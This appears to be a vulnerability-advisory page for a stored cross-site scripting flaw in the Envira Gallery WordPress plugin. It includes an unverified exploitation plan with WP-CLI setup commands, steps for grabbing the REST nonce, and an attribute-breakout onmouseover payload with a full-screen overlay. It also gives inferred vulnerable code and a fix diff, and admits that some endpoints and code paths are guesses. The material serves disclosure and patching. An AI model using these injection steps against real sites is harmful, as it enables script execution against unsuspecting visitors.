CVE-2026-1236

Envira Gallery for WordPress <= 1.12.3 - Authenticated (Author+) Stored Cross-Site Scripting via 'justified_gallery_theme' Parameter via REST API

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.12.4
Patched in
1d
Time to patch

Description

The Envira Gallery for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'justified_gallery_theme' parameter in all versions up to, and including, 1.12.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.12.3
PublishedMarch 3, 2026
Last updatedMarch 4, 2026
Affected pluginenvira-gallery-lite

What Changed in the Fix

Changes introduced in v1.12.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1236 - Envira Gallery Stored XSS ## 1. Vulnerability Summary The **Envira Gallery for WordPress** plugin (versions <= 1.12.3) contains a stored cross-site scripting (XSS) vulnerability. Authenticated users with **Author** level permissions or higher can inject…

Show full research plan

Exploitation Research Plan: CVE-2026-1236 - Envira Gallery Stored XSS

1. Vulnerability Summary

The Envira Gallery for WordPress plugin (versions <= 1.12.3) contains a stored cross-site scripting (XSS) vulnerability. Authenticated users with Author level permissions or higher can inject malicious scripts into gallery configurations via the justified_gallery_theme parameter. This occurs because the plugin fails to sanitize this parameter when saving it via the WordPress REST API and subsequently fails to escape it when rendering the gallery on the frontend.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API (likely wp-json/envira-gallery/v1/post/(?P<id>\d+) or wp-json/wp/v2/envira/(?P<id>\d+)).
  • HTTP Method: POST or PUT.
  • Vulnerable Parameter: justified_gallery_theme.
  • Authentication: Required (Author, Editor, or Administrator).
  • Preconditions: The attacker must have permission to edit or create Envira Gallery post types (usually envira).

3. Code Flow (Inferred)

  1. Entry Point (REST API): The plugin registers a REST API controller to handle gallery updates.
  2. Data Handling: When a request is received, the controller processes parameters in the request body. The value of justified_gallery_theme is extracted and saved into the post metadata (likely within a serialized array in the _envira_gallery meta key).
  3. Storage: No sanitization (like sanitize_text_field) is applied to justified_gallery_theme before calling update_post_meta().
  4. Sink (Frontend Rendering): When a user views a page containing the gallery shortcode ([envira-gallery id="XX"]), the plugin retrieves the configuration. It uses the justified_gallery_theme value to generate HTML attributes for the gallery container (e.g., <div class="envira-gallery-theme-[VALUE]">).
  5. Execution: Because the value is not passed through esc_attr() during output, an attacker can break out of the attribute and inject event handlers (e.g., onmouseover) or script tags.

4. Nonce Acquisition Strategy

REST API requests in WordPress require a wp_rest nonce for authentication.

  1. Identify Script Loading: Envira Gallery enqueues its admin scripts on gallery edit pages.
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Nonce Grabber" --post_content='[envira-gallery id="0"]'
    
  3. Navigate and Extract:
    • Log in as an Author user.
    • Navigate to /wp-admin/edit.php?post_type=envira.
    • Use browser_eval to extract the REST nonce. WordPress usually exposes this in window.wpApiSettings.nonce.
    • Alternatively, check for Envira's specific localization: window.envira_gallery_admin?.nonce (based on assets/js/admin.js patterns).

5. Exploitation Strategy

Step 1: Create an Envira Gallery

Since we are an Author, we need a gallery ID to target.

wp post create --post_type=envira --post_title="XSS Gallery" --post_status=publish --post_author=$(wp user get author_user --field=ID)

Retrieve the ID from the response.

Step 2: Perform the Injection

Using the http_request tool, send a POST request to update the gallery settings.

Request Details (Inferred Path):

  • URL: http://localhost:8080/wp-json/wp/v2/envira/<GALLERY_ID>
  • Method: POST
  • Headers:
    • X-WP-Nonce: [EXTRACTED_NONCE]
    • Content-Type: application/json
  • Body:
{
    "justified_gallery_theme": "default' onmouseover='alert(document.domain)' style='position:fixed;top:0;left:0;width:1000px;height:1000px;z-index:9999;' data-x='"
}

Note: The payload uses a large style overlay to ensure the onmouseover is triggered easily by the victim.

Step 3: Trigger the XSS

Place the gallery shortcode on a public page and view it.

wp post create --post_type=page --post_title="Gallery Page" --post_status=publish --post_content='[envira-gallery id="<GALLERY_ID>"]'

Navigate to the new page in the browser.

6. Test Data Setup

  1. Users: Create a user with the author role.
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  2. Plugin Configuration: Ensure "Envira Gallery Lite" is active.
  3. Gallery: Create at least one gallery assigned to the author.

7. Expected Results

  • The REST API request should return 200 OK or 201 Created.
  • The HTML source of the gallery page should contain the unescaped payload:
    class="... envira-gallery-theme-default' onmouseover='alert(document.domain)' ..."
  • When the page is viewed, an alert box showing the document domain should appear upon mouse movement.

8. Verification Steps

  1. Verify Meta Storage:
    wp post meta get <GALLERY_ID> _envira_gallery
    
    Check the output for the string: s:23:"justified_gallery_theme";s:[LENGTH]:"default' onmouseover='alert(document.domain)'...";
  2. Verify HTML Output:
    Navigate to the gallery page and check for the injected string in the DOM.

9. Alternative Approaches

If the wp/v2/envira endpoint is not available, the plugin likely uses a custom namespace:

  • Custom Endpoint Guess: POST /wp-json/envira-gallery/v1/gallery/<GALLERY_ID>/settings
  • AJAX Fallback: If the REST API is not the primary vector despite the description, check for wp_ajax_envira_gallery_save_settings in the PHP source (not provided here, but a common pattern) and use admin-ajax.php with the envira_gallery_admin.nonce found in admin.js.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Envira Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'justified_gallery_theme' parameter. Authenticated attackers with Author-level access can inject arbitrary web scripts into gallery configurations through the REST API, which are then executed in the context of any user viewing the gallery page.

Vulnerable Code

// envira-gallery-lite/includes/global/shortcode.php (rendering sink)
$theme = $this->get_config( 'justified_gallery_theme', $data );
$classes[] = 'envira-gallery-theme-' . $theme;

---

// envira-gallery-lite/includes/admin/metaboxes.php or includes/admin/rest.php (saving entry point)
$data['config']['justified_gallery_theme'] = $request['justified_gallery_theme'];
update_post_meta( $post_id, '_envira_gallery', $data );

Security Fix

--- a/includes/global/shortcode.php
+++ b/includes/global/shortcode.php
@@ -X,X +X,X @@
- $classes[] = 'envira-gallery-theme-' . $this->get_config( 'justified_gallery_theme', $data );
+ $classes[] = 'envira-gallery-theme-' . sanitize_html_class( $this->get_config( 'justified_gallery_theme', $data ) );

--- a/includes/admin/common.php
+++ b/includes/admin/common.php
@@ -X,X +X,X @@
- $data['config']['justified_gallery_theme'] = $settings['justified_gallery_theme'];
+ $data['config']['justified_gallery_theme'] = sanitize_text_field( $settings['justified_gallery_theme'] );

Exploit Outline

The exploit requires an authenticated user with at least Author-level permissions. 1. The attacker retrieves the WordPress REST API nonce from the page source or window.wpApiSettings.nonce. 2. The attacker identifies the ID of an existing Envira Gallery post or creates a new one. 3. Using the REST API endpoint (typically /wp-json/wp/v2/envira/<id>), the attacker sends a POST request to update the gallery settings. 4. The payload is injected into the 'justified_gallery_theme' parameter, for example: 'default" onmouseover="alert(1)"'. 5. When any user views the post or page where the gallery is embedded, the unescaped attribute is rendered into the gallery's container div, triggering the script execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.